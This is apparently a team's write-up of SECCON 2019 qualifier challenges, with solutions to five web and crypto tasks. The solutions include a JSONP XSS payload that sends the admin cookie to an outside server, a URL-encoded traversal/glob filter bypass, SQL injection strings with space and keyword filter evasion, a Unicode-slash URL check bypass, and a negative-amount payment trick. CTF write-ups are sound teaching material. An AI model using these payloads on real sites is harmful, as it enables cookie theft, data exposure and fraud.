[SECCON 2019] — Writeup
Writeup for SECCON 2019 Quals by Bat Family.
Here we will explain our solution for some challenges on this year SECCON Qualifier.
Table Of Contents
• Web: SPA — 427 points
• Web: fileserver — 345 points
• Web: web_search — 212 points
• Web: Option-Cmd-U — 190 points
• Crypto: ZKPay — 308 points
Web: SPA — 427 points
Last day my colleague taught me the concept of the Single-Page Application, which seems to be the good point to kickstart my web application development. Well, now it turned out to be MARVELOUS!
http://spa.chal.seccon.jp:18364/
Steal the cookie.
On this challenge, we were given a Vue Single Page Application. As the description said, there is a feature of report admin where we could submit our payload to steal the admin cookie.
We try to click the menu, and the website will display the flag of the previous SECCON Quals.
Below is the Vue code that fetching the JSON data.
After reading through the Vue Code, we figure out that when we click the menu (for example: SECCON2014), the URL will be change to “/#SECCON2014”. After that, everything after the “#” symbol will be set as the contestId, and the web will try to load SECCON2014.json in order to retrieve the data and display it.
Notice that we could control the contestId parameters. We setup a server to create an endpoint that could return a JSON data to check whether the website could load the data from external site or not. Using beeceptor, we try to load it and our prediction is true.
After finding that we could load data from external site, we try to read the documentation of $.getJSON()
method to look for a vulnerability. We found an interesting information from the documentation that said
JSONP
If the URL includes the string “callback=?” (or similar, as defined by the server-side API), the request is treated as JSONP instead. See the discussion of thejsonp
data type in$.ajax()
for more details.
Refering to this article, We could use JSONP to craft our XSS Payload because $.getJSON()
will use a script tag injection to attempt a JSONP call. First, we create our mock API with endpoint contains callback=?
and we just need to return a javascript code on our response.
Let’s try to access http://spa.chal.seccon.jp:18364/#/krejii.free.beeceptor.com/callback=?&query=hehe
Yeay, we invoke an XSS. Because we need to steal admin cookie, we just need to craft our response of the mock API into document.location=’http://our-server.com/?c='+document.cookie;//
. Send the above URL to the admin, and the admin will visit our endpoint with the flag.
Flag: SECCON{Did_you_find_your_favorite_flag?_Me?_OK_take_me_now_:)}
Web: fileserver — 345 points
I donno apache or nginx things well, I guess I can implement one for myself though. See? It’s easy!
http://fileserver.chal.seccon.jp:9292/public/index.html
Due to maintainability, we restart the server of fileserver challenge every 5 minutes.
We try to visit the website, and turn out it is a Ruby Webrick server. Testing a little bit Directory Traversal, we could access /
to get list of available files on the website directory. We try to download all the files.
Reading through the server code, it is obvious that we could do directory traversal to leak the flag filename (if we could bypass all the annoying filters). If our path end with /
the server will return the list of files on that directory. However, we couldn’t use ..
because it got filtered. In order to leak the directory traversal, we try to inject %00
on our path. Turn out, it works! We found the flag names on /tmp/flags
folder.
Now here is the tricky part. In order to read a file, our path couldn’t end with /
char. But, webrick doesn’t allow us to use ../
to navigate to the flag directory. After reading for a while, we found a bug on the is_bad_path function.
Notice that if the function detect a [
or {
, it will break the search and return False if there isn’t any pair of that bracket. If our path contains {[}
, the is_bad_path will return False instead True, because when it detects the square bracket, it breaks the search for other prohibited symbol, and will return False if there isn’t any square bracket even though we have a pair of curly braces. Leveraging this bug, we could use Shell Globbing to navigate into our flag directory and read it. Final Payload: http://fileserver.chal.seccon.jp:9292/%7B.,%5b%7D./tmp/flags/JdQI8p0VQhRnHwM0kenRPF4hTiFBJFt8.txt
SECCON{You_are_the_Globbin'_Slayer}
Web: web_search — 212 points
Get a hidden message! Let’s find a hidden message using the search system on the site. http://web-search.chal.seccon.jp/
A classic SQL Injection. Trying some payload, we realize that they filter spaces, or, commas
. Instead using spaces, we could use tab
or /**/
. To bypass the filter of or
, we could use oorr
because it will delete the or
in middle and will lead to another or
.
The website already give use the first part of the flag if we put telnet'/**/oorr1=1;#
, and give us information that we need to leak table flag
. So now, we need to leak the number of columns first. Using UNION SELECT * FROM (SELECT NULL) AS A JOIN (SELECT NULL) AS B ...
, we could found out that thee total of columns is three. After that, we just need to change one of the UNION table join (let say (SELECT NULL) AS A
) into (SELECT * FROM FLAG) AS A
to get the second part. Don’t forget to change spaces
into tab
.
Final Payload for first part:telnet’%2F**%2Foorr%2F**%2F1%3D1%3B%23
Final Payload for second part: telnet’%09oorr%091%3D0%09UNION%09SELECT%09*%09FROM%09(SELECT%091)%09AS%09a%09JOIN%09(SELECT%09*%09from%09flag)%09AS%09b%09JOIN%09(SELECT%091)%09AS%09c%3B%23
Flag: SECCON{Yeah_Sqli_Success_You_Win_Yeah}
Web: Option-Cmd-U — 190 points
No more “View Page Source”!
http://ocu.chal.seccon.jp:10000/index.php
We could access the source code on here http://ocu.chal.seccon.jp:10000/index.php?action=source
. Reading through the source code, we found the source code of the allowed URL filtering.
Reading through the source coded, we need to start our url with http
. We have bypass the first check, now we need to bypass the second check that didn’t allow us to access nginx. Using Unicode of slash (/ <- this is a unicode not a real slash
), we could bypass the second if. We have bypass all the check and we could load flag.php
.
Flag: SECCON{what_a_easy_bypass_314208thg0n423g}
Crypto: ZKPay — 345 points
Trying to signup, turn out that we need to have deposit larger than 1000000 dollar to see the flag. We try to use the send money feature, which is generating a QR Code that could be decoded using the receive money feature. We try to generate two QR Code with different amount, and then try to decode the QR Code. The QR Code will be decoded to a string like URL params. The example decoded content:
username=gilaa&amount=500&proof=MMyy1uV6qa/ztgZ8j8jR3ReMDUT9glpguOhuyx3EmXcaMSAwQ5XxbgNTBGpeWCzlrCpU4wyfUtOOzeDIlQK+BY7DCyQxCjC9C6Y19XQqfAnWoJdXEUZ+zDr7ONQun/9oFHMXWqS1Daa4tywYuBiOKShx+M0whjRhh1kaedS/YcljMkNIGnYJMSAwBmhskXzAeBPJwG5ZeqwSaoRop5+PbjVqRdRssXWFngUwCjBZO12UICYHjpkRv/RGczjjaHIxUT7xTenVC/1CKTv9ETAgMHGRoFtoQdWHtgoEDRdj1y4tlK1+IvkyaVOQf5sa3YgYMQowR2AhVb3xFBp5xx93m5KF+z6VmzpsgjZ4hLwnR4+x5iUwCjDNq3v7Lb+FcW2AyHykU93RTdd/U8t8CVJojb9XkrA6CzEK&hash=20117309446884306b5c295f2879211695924ae3185dbbc4501fca81b968183a
Trying to change the amount and generate a new QRCode, turn out that the decoded content has the same proof params. We try to change the amount to negative integer (-1000000), generate a new QRCode, create a new user, redeem the QRCode, and our current money got increased above 1000000.
Flag: SECCON{y0u_know_n07h1ng_3xcep7_7he_f4ct_th47_1_kn0w}